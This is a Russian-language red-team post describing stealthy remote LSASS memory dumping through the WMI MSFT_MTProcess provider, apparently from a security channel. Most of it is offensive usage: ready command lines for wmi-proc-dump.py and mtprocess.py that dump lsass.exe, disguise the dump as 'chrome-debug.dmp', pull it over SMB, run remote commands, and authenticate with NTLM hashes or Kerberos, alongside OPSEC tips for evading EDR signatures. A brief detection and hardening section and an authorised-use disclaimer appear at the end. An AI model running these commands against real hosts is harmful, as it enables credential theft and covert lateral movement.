🔥 Тихий дамп LSASS через WMI: включаем провайдер MSFT_MTProcess

Когда procdump.exe шумит, на сцену выходит WMI. Провайдер MSFT_MTProcess умеет:
⚙️ CreateProcess — удалённый запуск команды (аналог Win32_Process.Create)
🧪 CreateDump — дамп процесса через dbghelp.dll → MiniDumpWriteDump, причём делает это WmiPrvSE.exe, а не ваш «левый» exe.
🖥 Из коробки на Windows Server 2016+; на рабочих станциях — можно доставить провайдер.

🧰 Инструменты и зачем они нужны
1) WMI_Proc_Dump.py
🎯 Для чего: точечно снять дамп нужного процесса (по PID/имени) удалённо.
✅ Плюсы: без дропа утилит на диск; тише, чем procdump; по умолчанию пишет в C:\Windows\Temp\<Process>.dmp, можно переименовать.

2) mtprocess.py
🎯 Для чего: запустить команду через CreateProcess и/или установить провайдер MTProcess на рабочей станции.
✅ Плюсы: открывает те же возможности на клиентских ОС; «легальный» канал выполнения через WMI.

Общая ценность
🕵️ OPSEC: инициатор — WmiPrvSE.exe, многие сигнатуры на сторонние дамперы не срабатывают.
📦 Минимум артефактов: используются системные компоненты (dbghelp.dll).
🧩 Гибкость: переименование дампа, скачивание по SMB; пароль/NTLM/Kerberos-аутентификация.

🚀 Быстрые примеры
Дамп через WMI_Proc_Dump.py

# по PID
python wmi-proc-dump.py user:pass@host -pid 580
# по имени
python wmi-proc-dump.py user:pass@host -proc lsass.exe
# переименовать
python wmi-proc-dump.py user:pass@host -proc lsass.exe -rename chrome-debug.dmp
# скачать по SMB
python wmi-proc-dump.py user:pass@host -proc lsass.exe -download

Выполнение/установка через mtprocess.py

# запуск на сервере
python mtprocess.py -exec user:pass@host calc.exe
# запуск на рабочей станции (CIMv2)
python mtprocess.py -exec -cimv2 user:pass@host calc.exe
# установить MTProcess на рабочку
python mtprocess.py -install user:pass@host

🧾 Аутентификация: пароль / -hashes LMHASH:NTHASH / Kerberos -k / -aesKey, доп. -dc-ip, -target-ip, -no-pass.

⚠️ Важные моменты
🔑 Права: админ + SeDebugPrivilege (для LSASS), доступ WMI/DCOM.
🧭 Следы: WmiPrvSE.exe подгружает dbghelp.dll, трогает память целевого процесса; .dmp появляется в C:\Windows\Temp\ (или с вашим именем).
📡 Логи/детект:
• WMI-Activity (Event ID 10) — вызовы методов;
• Sysmon (EID 7/11/1) — модули/файлы/процессы;
• Сеть: DCOM/RPC (135/TCP + динамические порты).
🧱 Ограничения: MTProcess «из коробки» только на Server 2016+; на рабочих станциях — ставим провайдер.
🛡 Укрепление защиты для Blue Team: RunAsPPL / Credential Guard, минимизировать/аудировать Remote WMI, правила на MiniDumpWriteDump и появление крупных .dmp в системных путях.

🧾 TL;DR

Используем MSFT_MTProcess.CreateDump для более тихого дампа LSASS через WMI — дамп делает WmiPrvSE.exe с dbghelp.dll, без дропа procdump.
Сервера (2016+) — работают сразу; рабочие станции — через mtprocess.py -install.
Команды: wmi-proc-dump.py -proc lsass.exe [-rename …] [-download] и mtprocess.py -exec ….

🕵️ Вывод: «С большой силой приходит большая ответственность.» — дядя Бен.
Используем знания только там, где нам это разрешили.

👾 Malware Anatomy

#WMI #LSASS #MSFT_MTProcess #RedTeam #DFIR #Windows #EDR #OPSEC